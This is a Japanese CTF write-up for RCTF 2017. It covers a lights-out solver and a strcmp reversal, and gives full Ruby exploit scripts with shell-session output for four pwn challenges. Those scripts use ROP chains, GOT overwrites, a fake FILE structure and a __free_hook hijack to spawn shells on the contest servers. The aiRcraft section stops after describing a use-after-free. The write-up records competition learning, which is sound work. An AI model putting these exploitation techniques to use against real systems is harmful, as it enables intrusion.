RCTF 2017 writeup
RCTF 2017にscryptosで参加しました。
チームで6108pts入れて10位、私は8問(うち1問はふるかわプロと)解いて3280pts入れました。
解いた問題のwriteupを置いておきます(`・ω・´)
mysql (misc 238)
grep -R flag ./
で終わる。
FLAG: RCTF{71e55075163d5c6410c0d9eae499c977}
light (misc 434)
オリジナルルールのライツアウト(128x128)を解く問題。
オリジナルルールとはいえ連立方程式で解けることに変わりはないので、行列の変形をがんばる。
雑に書いたソルバで出た解をふるかわプロに渡したら7分でフラグが返ってきた(すごい)。
#include <stdio.h> #include <stdlib.h> unsigned char **make_matrix(int height, int width){ unsigned char **rows; int i; rows = calloc(height, sizeof(unsigned char*)); for(i = 0; i < height; i++){ rows[i] = calloc(width, sizeof(unsigned char)); } return rows; } void release_matrix(unsigned char **matrix, int height){ int i; for(i = 0; i < height; i++){ free(matrix[i]); } free(matrix); } unsigned char *read_state(FILE *fp, int height, int width){ unsigned char *state; state = calloc(height * width, sizeof(unsigned char)); fread(state, height * width, sizeof(unsigned char), fp); return state; } void init_matrix(unsigned char **rows, int height, int width){ int x, y; int dx[] = {-2, -1, 0, 1, 2, 1, 0, -1}; int dy[] = {0, -1, -2, -1, 0, 1, 2, 1}; int d; for(y = 0; y < height; y++){ for(x = 0; x < width; x++){ for(d = 0; d < sizeof(dx) / sizeof(int); d++){ if(0 <= x + dx[d] && x + dx[d] < width && 0 <= y + dy[d] && y + dy[d] < height){ rows[(y + dy[d]) * width + x + dx[d]][y * width + x] = 1; } } } } } void print_matrix(unsigned char **rows, int height, int width){ int x, y; for(y = 0; y < height; y++){ for(x = 0; x < width; x++){ printf("%c", rows[y][x] == 1 ? '1' : '0'); } printf("\n"); } } void add_row(unsigned char *a, unsigned char *b, int rank){ int i = 0; while(i + sizeof(unsigned long) <= rank){ *(unsigned long*)a ^= *(unsigned long*)b; a += sizeof(unsigned long); b += sizeof(unsigned long); i += sizeof(unsigned long); } while(i + sizeof(unsigned char) <= rank){ *(unsigned char*)a ^= *(unsigned char*)b; a += sizeof(unsigned char); b += sizeof(unsigned char); i += sizeof(unsigned char); } } unsigned char **transform(unsigned char **matrix, int rank){ unsigned char **right; int i, j, k; unsigned char *temp; right = make_matrix(rank, rank); for(i = 0; i < rank; i++){ right[i][i] = 1; } for(i = 0; i < rank; i++){ fprintf(stderr, "\r%d/%d", i + 1, rank); // row[i] = 1な行を探す for(j = i; j < rank; j++){ if(matrix[j][i] == 1){ break; } } // なかったら飛ばす if(j == rank){ continue; } // あったらi行目と入れ替え temp = matrix[i]; matrix[i] = matrix[j]; matrix[j] = temp; temp = right[i]; right[i] = right[j]; right[j] = temp; // 打ち消し for(k = 0; k < rank; k++){ if(i == k || matrix[k][i] != 1){ continue; } add_row(matrix[k], matrix[i], rank); add_row(right[k], right[i], rank); } } return right; } unsigned char *mul(unsigned char **matrix, unsigned char *vector, int rank){ unsigned char *answer; int i, j; unsigned char v; answer = calloc(rank, sizeof(unsigned char)); for(i = 0; i < rank; i++){ v = 0; for(j = 0; j < rank; j++){ v ^= matrix[i][j] & vector[j]; } answer[i] = v; } return answer; } void print_answer(unsigned char *answer, int height, int width){ int x, y; printf("\n"); for(y = 0; y < height; y++){ for(x = 0; x < width; x++){ printf("%c", answer[y * width + x] == 1 ? '1' : '0'); } printf("\n"); } } int main(int argc, char **argv){ int height; int width; FILE *fp; unsigned char **matrix, **right; unsigned char *state; unsigned char *answer; setbuf(stdout, NULL); setbuf(stderr, NULL); if(argc != 2){ exit(1); } fp = fopen(argv[1], "rb"); if(fp == NULL){ exit(1); } fread(&height, 4, 1, fp); fread(&width, 4, 1, fp); state = read_state(fp, height, width); fclose(fp); matrix = make_matrix(height * width, height * width); init_matrix(matrix, height, width); right = transform(matrix, height * width); answer = mul(right, state, height * width); print_answer(answer, height, width); free(answer); release_matrix(right, height * width); release_matrix(matrix, height * width); }
FLAG: RCTF{Gaussian_elimination_is_awesome!}
baby flash (rev 222)
文字列の入力を求め、以下のようなチェック関数に通すという動作をするswfファイルが与えられる。
void check(char *s){ if(strcmp("RCTF{_DYiin9__F1ash__1ike5_CPP}", s) != 0){ puts("ng"); }else{ puts("ok"); } }
これだけを見るとRCTF{_DYiin9__F1ash__1ike5_CPP}
を投げて終了!という気分になるが、strcmp
に手が加えられているらしく、残念ながら通らない。
strcmp
も読むと、
int strcmp(char *arg1, char *arg2){ // arg1: ebp, arg2: ebp-4 char *var_4 = arg1; char *var_8 = arg2; char *var_24 = var_4; char *var_28 = var_8; int var_32 = 2; int var_36 = 3; int var_40 = 0; int var_44 = 0; char var_17; int var_16; int var_12; while(*var_24 != 0){ if(*var_28 == 0){ break; } if(*var_24 == *var_28){ if(var_40 != var_32 << 1){ var_17 = 0; }else{ var_17 = 1; } var_40++; if(var_17 != 0){ var_24++; var_44 = var_32 + var_36; var_32 = var_36; var_36 = var_44; } var_24++; var_28++; continue; } break; } return (int)*var_24 - (int)*var_28; }
よく分からない処理が入っていてよく分からなかったので、雑にロジックを抜き出してフラグを求めた。
#coding:ascii-8bit fakeflag = "RCTF{_Dyiin9__F1ash__1ike5_CPP}" var_24 = 0 var_32, var_36, var_40, var_44 = [2, 3, 0, 0] var_17 = false buf = "" while var_24 < fakeflag.length buf << fakeflag[var_24] var_17 = var_40 == var_32 << 1 var_40 += 1 if var_17 var_24 += 1 var_44 = var_32 + var_36 var_32 = var_36 var_36 = var_44 end var_24 += 1 end puts buf
FLAG: RCTF{Dyin9_F1ash_1ike5_CPP}
RCalc (pwn 350)
$ ./RCalc Input your name pls: a Hello a! Welcome to RCTF 2017!!! Let's try our smart calculator What do you want to do? 1.Add 2.Sub 3.Mod 4.Multi 5.Exit Your choice:1 input 2 integer: 1 2 The result is 3 Save the result? y What do you want to do? 1.Add 2.Sub 3.Mod 4.Multi 5.Exit Your choice:5
計算プログラム。
まずは下調べ。
$ file RCalc RCalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4fc0eac70bfe647c94e2819a07c84d69d649888, stripped $ checksec --file RCalc RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH RCalc
主な仕様はこんな感じ。
- オレオレstack canaryが実装されている
- プログラムの初期化処理で計算結果保存用の配列と、stack canary保存用の配列がそれぞれ
malloc
で確保される - 関数の最初に乱数を生成し、スタックとヒープにそれぞれ値を保存する
- 関数を抜ける際にスタックとヒープのcanaryを比較し、違った場合は強制終了
- プログラムの初期化処理で計算結果保存用の配列と、stack canary保存用の配列がそれぞれ
- 初期化処理の後、名前の入力を求められる
scanf("%s")
で入力できるのでstack bofする
- 名前入力の後、足し算・引き算・剰余演算・かけ算ができるメニューに移行する
- 計算結果は先述の計算結果保存用の配列に保存することができる
- いくつ保存したかのチェックがないため、保存しまくるとout-of-bounds writeでstack canary保存用の配列が上書きできる
以下の手順で攻略した。
- 名前入力でstack bofし、ROP payloadを仕込む
このとき、canaryは0とかの適当な値に書き換えておく - 計算結果を保存しまくり、stack canary保存用の配列の最初の要素が1.で書き換えた値と等しくなるようにする
- 計算メニューを抜けるとcanaryのチェックを通過してROPが発動する
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "rcalc.2017.teamrois.cn" port = 2333 libc_offset = { "__libc_start_main" => 0x20740, "one_gadget" => 0x4526a } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main" => 0x20740, "one_gadget" => 0x4526a } end class PwnTube def recv_until_prompt recv_until("Your choice:") end end offset = { "pop_rdi_ret" => 0x401123, "ret" => 0x401124, "pop_rsi_r15_ret" => 0x401121, "printf" => 0x400850, "scanf" => 0x4008e0, "format_str" => 0x401203 } got = { "__libc_start_main" => 0x601ff0, "one_gadget" => 0x602100 } def tube @tube end def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x40111a, 0, 1, func, arg3, arg2, arg1].pack("Q*") payload << [0x401100].pack("Q") payload << [0].pack("Q") * 7 payload end def calc_internal(n, a, b, save_result) tube.recv_until_prompt tube.sendline("#{n}") tube.recv_until("input 2 integer: ") tube.sendline("#{a}") tube.sendline("#{b}") tube.recv_until("Save the result? ") tube.send((save_result ? "yes" : "no").ljust(16, "\0")) end def add(a, b, save_result) calc_internal(1, a, b, save_result) end def sub(a, b, save_result) calc_internal(2, a, b, save_result) end def mod(a, b, save_result) calc_internal(3, a, b, save_result) end def mul(a, b, save_result) calc_internal(4, a, b, save_result) end PwnTube.open(host, port){|t| @tube = t puts "[*] send name" tube.recv_until("Input your name pls: ") payload = "" payload << "A" * 0x108 payload << [0].pack("Q") # canary payload << "AAAAAAAA" payload << [offset["pop_rdi_ret"], got["__libc_start_main"]].pack("Q*") payload << [offset["printf"]].pack("Q") payload << [offset["pop_rdi_ret"], offset["format_str"]].pack("Q*") payload << [offset["pop_rsi_r15_ret"], got["one_gadget"], 0].pack("Q*") payload << [offset["ret"]].pack("Q") payload << [offset["scanf"]].pack("Q") payload << call_func(got["one_gadget"]) payload << "\0" * 0x40 raise unless payload.scanf_safe? tube.sendline(payload) puts "[*] overwrite canary" 35.times{ print "." add(0, 0, true) } puts puts "[*] trigger ROP" tube.recv_until_prompt tube.sendline("5") puts "[*] leak libc base" libc_base = tube.recv(6).ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite got" tube.sendline([libc_base + libc_offset["one_gadget"]].pack("Q")) tube.interactive }
$ ruby rcalc.rb r [*] connected [*] send name [*] overwrite canary ................................... [*] trigger ROP [*] leak libc base libc base = 0x7feca8168000 [*] overwrite got [*] interactive mode pwd / ls -la total 56 drwxr-x--- 17 0 1000 4096 May 12 04:21 . drwxr-x--- 17 0 1000 4096 May 12 04:21 .. -rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout -rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc -rwxr-x--- 1 0 1000 655 Jun 24 2016 .profile -rwxr-x--- 1 0 1000 10440 May 12 04:01 RCalc drwxr-xr-x 2 0 0 4096 May 12 04:21 bin drwxr-xr-x 2 0 0 4096 May 12 04:21 dev -rwxr----- 1 0 1000 31 May 12 03:20 flag drwxr-xr-x 27 0 0 4096 May 12 04:21 lib drwxr-xr-x 3 0 0 4096 May 12 04:21 lib32 drwxr-xr-x 2 0 0 4096 May 12 04:21 lib64 cat flag RCTF{Y0u_kn0w_th3_m4th_9e78cc} exit [*] end interactive mode [*] connection closed
FLAG: RCTF{Y0u_kn0w_th3_m4th_9e78cc}
Recho (pwn 370)
$ ./Recho Welcome to Recho server! 5 hoge hoge 5 piyo piyo
エコーサーバ。
まずは下調べ。
$ file Recho Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped $ checksec --file Recho RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH Recho
主な仕様はこんな感じ。
- 数字を入力する→入力したバイト分スタックに文字列を読み込む→読んだ文字列を出力する、という動作を繰り返すだけ
- 大きい数字を指定すればstack bofする
- 数字を入力する部分の
read
の戻り値が0以下になった場合はループを抜け、終了する
- なぜかdata領域に"flag"という文字列が用意されている
read
の戻り値を0にしてROPを発動させるには、攻撃側でshutdown(sockfd, SHUT_WR)
すればよい。
ただし、それ以降は攻撃側から何も送信できなくなることを念頭に置いてROPを組む必要がある。
今回はadd byte [rdi], al ; ret
というgadgetがあったので、これを使ってgotをpartial overwriteし、ROPでopen-read-writeできるようにした。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "recho.2017.teamrois.cn" port = 9527 else host = "localhost" port = 54321 end offset = { "add_al_ret" => 0x40070d, # add byte [rdi], al ; ret ; "pop_rdi_ret" => 0x4008a3, "flag" => 0x601058, "buf" => 0x601f00 } got = { "read" => 0x601030, "write" => 0x601018 } def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x40089a, 0, 1, func, arg3, arg2, arg1].pack("Q*") payload << [0x400880].pack("Q") payload << [0].pack("Q") * 7 payload end PwnTube.open(host, port){|tube| fd = 3 tube.recv_until("Welcome to Recho server!\n") payload = "" payload << "A" * 0x38 # got["read"] = syscall payload << call_func(got["write"], 1, got["write"], 0x7e - 0x70) payload << [offset["pop_rdi_ret"], got["read"]].pack("Q*") payload << [offset["add_al_ret"]].pack("Q") # open("flag", 0) payload << call_func(got["write"], 1, got["write"], 2) payload << call_func(got["read"], offset["flag"], 0) # read(fd, buf, 0x100) payload << call_func(got["write"], 1, got["write"], 0) payload << call_func(got["read"], fd, offset["buf"], 0x100) # write(1, buf, 0x100) payload << call_func(got["write"], 1, offset["buf"], 0x100) payload << [0xdeadbeefdeadbeef].pack("Q") puts "[*] send ROP payload" tube.send("#{payload.length}".ljust(16, "\0")) tube.send(payload) puts "[*] shutdown our socket" tube.socket.shutdown(Socket::SHUT_WR) sleep 5 puts "[*] receive flag" p tube.recv_until_eof }
$ ruby recho.rb r [*] connected [*] send ROP payload [*] shutdown our socket [*] receive flag "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(\x03\xD0fTd\xAC\x7F\x00\x00\x00XJd\xAC\x7F\xD0fRCTF{l0st_1n_th3_3ch0_d6794b}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" [*] connection closed
FLAG: RCTF{l0st_1n_th3_3ch0_d6794b}
RNote (pwn 454)
$ ./RNote welcome to RNote service! *********************** 1.Add new note 2.Delete a note 3.Show a note 4.Exit *********************** Your choice: 1 Please input the note size: 10 Please input the title: hoge Please input the content: piyo *********************** 1.Add new note 2.Delete a note 3.Show a note 4.Exit *********************** Your choice: 3 Which Note do you want to show: 0 note title: hoge note content: piyo *********************** 1.Add new note 2.Delete a note 3.Show a note 4.Exit *********************** Your choice: 4
よくあるノート管理プログラム。
まずは下調べ。
$ file RNote RNote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dc8994af689f63aadd197e6efd0b4b33c9fb1db6, stripped $ checksec --file RNote RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH RNote
主な仕様はこんな感じ。
- ノートはbss領域に
struct Note note[16]
の形で保持する
struct Note { int used; int size; char title[16]; char *content; };
- メインメニュー
- 1. Add new note
- 指定したサイズの領域を
malloc
で確保し、ノートを作成する - タイトル入力部にoff-by-one bofがあり、contentの最下位バイトを書き換えられる
- 指定したサイズの領域を
- 2. Delete a note
- 指定したノートを削除し、領域を解放する
- 3. Show a note
- 指定したノートのタイトルと内容を出力する
- 1. Add new note
Add new noteのoff-by-one bofを使うことで、ヒープ上のデータをリークしたり、ヒープ上の任意アドレスをfree
したりできる。
fastbins unlink attackでstdin->_chain
を偽FILE
構造体に向け、プログラム終了時にsystem("/bin/sh")
が呼ばれるようにした。(参考)
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "rnote.2017.teamrois.cn" port = 7777 libc_offset = { "main_arena" => 0x3c3b20, "_IO_2_1_stdin_" => 0x3c38e0, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3c3b20, "_IO_2_1_stdin_" => 0x3c38e0, "system" => 0x45390 } end class PwnTube def recv_until_prompt recv_until("Your choice: ") end end def tube @tube end def add_note(size, title, content) tube.recv_until_prompt tube.send("1\0") tube.recv_until("Please input the note size: ") tube.sendline("#{size}\0") tube.recv_until("Please input the title: ") if title.length == 17 tube.send(title) else tube.sendline(title) end tube.recv_until("Please input the content: ") tube.send(content) end def delete_note(index) tube.recv_until_prompt tube.send("2\0") tube.recv_until("Which Note do you want to delete: ") tube.send("#{index}\0") end def show_note(index) tube.recv_until_prompt tube.send("3\0") tube.recv_until("Which Note do you want to show: ") tube.send("#{index}\0") end PwnTube.open(host, port){|t| @tube = t puts "[*] leak heap base" add_note(0x18, "A" * 16 + "\x10", "A" * 0x18) show_note(0) heap_base = tube.recv_capture(/A{16}(.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x10 puts "heap base = 0x%x" % heap_base puts "[*] leak libc base" add_note(0x88, "A", "A") add_note(0x18, "A" * 16 + "\x30", "A" * 0x18) delete_note(1) show_note(2) libc_base = tube.recv_capture(/note content: (.{8})/m)[0].unpack("Q")[0] - libc_offset["main_arena"] - 0x58 puts "libc base = 0x%x" % libc_base puts "[*] abuse freelist" add_note(0x88, "A", "A") add_note(0x18, "A" * 16 + "\xf0", "A" * 8 + [0x31].pack("Q")) add_note(0x68, "A", [0, 0, 0, 0x21].pack("Q*")) delete_note(4) delete_note(3) add_note(0x28, "A", [0, 0x71, libc_base + libc_offset["_IO_2_1_stdin_"] + 0x3d].pack("Q*")) puts "[*] create fake FILE structure" payload = "" payload << "/bin/sh".ljust(8, "\0") payload << [0].pack("Q") * 3 payload << [0, 1, 0].pack("Q*") payload << [0].pack("Q") * 19 payload << [libc_base + libc_offset["system"]].pack("Q") payload << [heap_base + 0x240 - 0x18].pack("Q") add_note(payload.length, "A", payload) # heapbase + 0x170 puts "[*] overwrite stdin->_chain" add_note(0x68, "A", "A") add_note(0x68, "A", "\0" * 27 + [heap_base + 0x170].pack("Q")) puts "[*] pop a shell" tube.recv_until_prompt tube.send("4\0") tube.interactive }
$ ruby rnote.rb r [*] connected [*] leak heap base heap base = 0x101e000 [*] leak libc base libc base = 0x7ff6fd1c5000 [*] abuse freelist [*] create fake FILE structure [*] overwrite stdin->_chain [*] pop a shell [*] interactive mode pwd / ls -la total 56 drwxr-x--- 17 0 1000 4096 May 14 11:12 . drwxr-x--- 17 0 1000 4096 May 14 11:12 .. -rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout -rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc -rwxr-x--- 1 0 1000 655 Jun 24 2016 .profile -rwxr-x--- 1 0 1000 10408 May 14 11:09 RNote drwxr-xr-x 2 0 0 4096 May 14 11:12 bin drwxr-xr-x 2 0 0 4096 May 14 11:12 dev -rwxr----- 1 0 1000 40 May 14 11:11 flag drwxr-xr-x 27 0 0 4096 May 14 11:12 lib drwxr-xr-x 3 0 0 4096 May 14 11:12 lib32 drwxr-xr-x 2 0 0 4096 May 14 11:12 lib64 cat flag RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333} exit [*] end interactive mode [*] connection closed
FLAG: RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}
RNote2 (pwn 606)
$ ./RNote2 welcome to RNote service! *********************** 1.Add new note 2.Delete a note 3.List all note 4.Edit a note 5.Expand a note 6.Exit *********************** Your choice: 1 Input the note length: 10 Input the note content: hoge *********************** 1.Add new note 2.Delete a note 3.List all note 4.Edit a note 5.Expand a note 6.Exit *********************** Your choice: 3 Your all notes: 1. Note length: 10 Note content: hoge *********************** 1.Add new note 2.Delete a note 3.List all note 4.Edit a note 5.Expand a note 6.Exit *********************** Your choice: 6
パワーアップしたRNote。
まずは下調べ。
$ file RNote2 RNote2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c1ccda40b1581b4d594a6798e5e2200204693f2, stripped $ checksec --file RNote2 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH RNote2
セキュリティ機構もパワーアップしている。
主な仕様はこんな感じ。
- ノートは双方向リストで管理する
struct Note { long editted; unsigned long length; struct Note *next; struct Note *prev; char *content; }
- メインメニュー
- 1. Add new note
- 指定したサイズの領域を
malloc
で確保し、ノートを作成する
- 指定したサイズの領域を
- 2. Delete a note
- 指定したノートをリストから外し、領域を解放する
- 3. List all note
- リストに登録されている全てのノートの情報を出力する
- 4. Edit a note
- 指定したノートを編集する
- 各ノートはEditかExpandのどちらかを1回までしかできない
- 5. Expand a note
- 指定したノートの領域を
realloc
で拡張し、内容を追記する - 特定の条件を満たすとheap bofする
- 各ノートはEditかExpandのどちらかを1回までしかできない
- 指定したノートの領域を
- 1. Add new note
- その他
- 文字列入力用の関数にNULL終端がない
Expand a noteのheap bofは以下のような手順で起こすことができる。
(1) size=0x18なノートで使われている0x20バイトのチャンクと、0x30バイトのfree済チャンクを用意する 0x0000000000000000 0x0000000000000021 ←0x20バイトのチャンク 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x0000000000000031 ←0x30バイトのfree済チャンク 0x4242424242424242 0x4242424242424242 0x4242424242424242 0x4242424242424242 0x4242424242424242 0x0000000000000081 ←後続のチャンク (2) Expand a noteでsize=0x18なノートを0x10 byte拡張するとrealloc(content, 0x28)が実行され、 0x30のfree済チャンクが使われる 0x0000000000000000 0x0000000000000021 ←このチャンクが解放されて…… 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x0000000000000031 ←このチャンクが確保され、データがコピーされる 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x4242424242424242 0x4242424242424242 0x0000000000000081 (3) 追加分のデータがstrncat(content, buf, 0x10 - 1)で追加されるのでheap bofでchunk sizeが上書きされる 0x0000000000000000 0x0000000000000021 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x0000000000000031 0x4141414141414141 0x4141414141414141 0x4141414141414141 0x4242424242424242 0x4242424242424242 0x4343434343434381 ←strncatで後続のチャンクのsizeが書き換わってしまった
今回は以下の手順で攻略した。
- 文字列入力関数にNULL終端がないことを利用してヒープとlibcのアドレスをリーク
- Expand a noteのheap bofでチャンクのサイズを書き換え、大きなチャンクの中に
Note
用のチャンクがある、という状態を作る - 2.のチャンクをそれぞれ
free
- ノートを作成することで3.で解放した
Note
用のチャンクを再確保する - 3.で解放した大きなチャンクも再確保し、4.の
Note
用チャンクを上書きすると、Edit a noteでarbitrary writeができるようになる __free_hook
をsystem
に向ける
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "rnote2.2017.teamrois.cn" port = 6666 libc_offset = { "main_arena" => 0x3c3b20, "__free_hook" => 0x3c57a8, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3c3b20, "__free_hook" => 0x3c57a8, "system" => 0x45390 } end class PwnTube def recv_until_prompt recv_until("Your choice:\n") end end def tube @tube end def add_note(length, content) tube.recv_until_prompt tube.send("1") tube.recv_until("Input the note length:\n") tube.send("#{length}") tube.recv_until("Input the note content:\n") tube.send(content) end def delete_note(index) tube.recv_until_prompt tube.send("2") tube.recv_until("Which note do you want to delete?\n") tube.send("#{index}") end def list_all_note tube.recv_until_prompt tube.send("3") end def edit_note(index, content) tube.recv_until_prompt tube.send("4") tube.recv_until("Which note do you want to edit?\n") tube.send("#{index}") tube.recv_until("Input new content:\n") tube.send(content) end def expand_note(index, length, content) tube.recv_until_prompt tube.send("5") tube.recv_until("Which note do you want to expand?\n") tube.send("#{index}") tube.recv_until("How long do you want to expand?\n") tube.send("#{length}") tube.recv_until("Input content you want to expand\n") tube.send(content) end PwnTube.open(host, port){|t| @tube = t puts "[*] leak heap base" add_note(0x18, "A" * 0x18) add_note(0x18, "A" * 0x18) delete_note(2) delete_note(1) add_note(1, "\x80") list_all_note heap_base = tube.recv_capture(/Note content: (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x80 puts "heap base = 0x%x" % heap_base puts "[*] leak libc base" add_note(0x88, "A" * 0x88) add_note(0x18, "A" * 0x18) delete_note(2) add_note(0x88, "A" * 7 + "\n") list_all_note libc_base = tube.recv_capture(/AAAAAAA\n(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58 puts "libc base = 0x%x" % libc_base puts "[*] place some chunks" add_note(0x38, "A" * 0x38) add_note(0x48, "A" * 0x48) add_note(0x18, "A" * 0x18) puts "[*] overwrite chunk size" delete_note(5) expand_note(4, 2, "\x01\x00") puts "[*] place more chunks" add_note(0x18, "A" * 0x18) add_note(0x88, "A" * 0x88) puts "[*] make chunks overlapping" delete_note(5) payload = "" payload << "/bin/sh".ljust(8, "\0") payload << [0].pack("Q") * 12 payload << [0x31].pack("Q") payload << [0].pack("Q") # edit payload << [8].pack("Q") # length payload << [0].pack("Q") # next payload << [0].pack("Q") # prev payload << [libc_base + libc_offset["__free_hook"]].pack("Q") # buf add_note(payload.length, payload) puts "[*] overwrite __free_hook" edit_note(6, [libc_base + libc_offset["system"]].pack("Q")) puts "[*] launch shell" delete_note(7) tube.interactive }
$ ruby rnote2.rb r [*] connected [*] leak heap base heap base = 0x56538592b000 [*] leak libc base libc base = 0x7f75d543e000 [*] place some chunks [*] overwrite chunk size [*] place more chunks [*] make chunks overlapping [*] overwrite __free_hook [*] launch shell [*] interactive mode pwd / ls -la total 56 drwxr-x--- 17 0 1000 4096 May 20 21:18 . drwxr-x--- 17 0 1000 4096 May 20 21:18 .. -rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout -rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc -rwxr-x--- 1 0 1000 655 Jun 24 2016 .profile -rwxr-x--- 1 0 1000 10216 May 20 21:16 RNote2 drwxr-xr-x 2 0 0 4096 May 20 21:18 bin drwxr-xr-x 2 0 0 4096 May 20 21:18 dev -rwxr----- 1 0 1000 38 May 14 11:03 flag drwxr-xr-x 27 0 0 4096 May 20 21:18 lib drwxr-xr-x 3 0 0 4096 May 20 21:18 lib32 drwxr-xr-x 2 0 0 4096 May 20 21:18 lib64 cat flag RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!} exit Done! *********************** 1.Add new note 2.Delete a note 3.List all note 4.Edit a note 5.Expand a note 6.Exit *********************** Your choice: 6 [*] end interactive mode [*] connection closed
FLAG: RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}
aiRcraft (pwn 606)
$ ./aiRcraft Welcome to aiRline! what do you want to do? 1. Buy a new plane 2. Build a new airport 3. Enter a airport 4. Select a plane 5. Exit Your choice:
飛行機と空港を管理するプログラム。
まずは下調べ。
$ file aiRcraft aiRcraft: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8597b2bb97a5f0ffd55603a10b55629eabebfa6, stripped $ checksec --file aiRcraft RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH aiRcraft
主な仕様はこんな感じ。
- 1. Buy a new plane
- 新しい飛行機を買う
- メーカー(4択)と飛行機の名前を決められるが、メーカー選択時にチェックが全くなく、out-of-bounds readができる
- 飛行機用の構造体
Plane
は関数ポインタを持っている - 買った飛行機は双方向リストに登録される
- 2. Build a new airport
- 新しい空港を買う
- 空港の名前を決められる
- 買った空港はグローバル変数の配列に登録される
- 空港は名前の他に、その空港に停留している飛行機への参照を持つ配列も持っている
- 3. Enter a airport
- 空港を1つ選んでサブメニューに入る
- 1. List all the plane
- その空港に停留している飛行機の情報を出力する
- 2. Sell the airport
- その空港に停留している飛行機をすべて双方向リストから削除→
free
した後、空港もfree
する - グローバル変数の配列に空港への参照が残ったままになっている
- その空港に停留している飛行機をすべて双方向リストから削除→
- 1. List all the plane
- 空港を1つ選んでサブメニューに入る
- 4. Select a plane
- 飛行機を1つ選んでサブメニューに入る
- 1. Fly to another airport
- 指定した空港に移動し、移動先の空港が持つ配列に自身の参照を登録する
- 2. Sell the plane
- 飛行機を双方向リストから削除した後、自身の持つ関数ポインタ(自分を
free
するだけ)を呼ぶ
- 飛行機を双方向リストから削除した後、自身の持つ関数ポインタ(自分を
- 1. Fly to another airport
- 飛行機を1つ選んでサブメニューに入る
UAFにより、偽の空港に偽の飛行機を停留させて空港ごと売る、と好き勝手できるようになるのでがんばる(雑)。
最終的にはチャンク同士の領域を重複させることによって既存のPlane
の関数ポインタを上書きできれば勝ち。
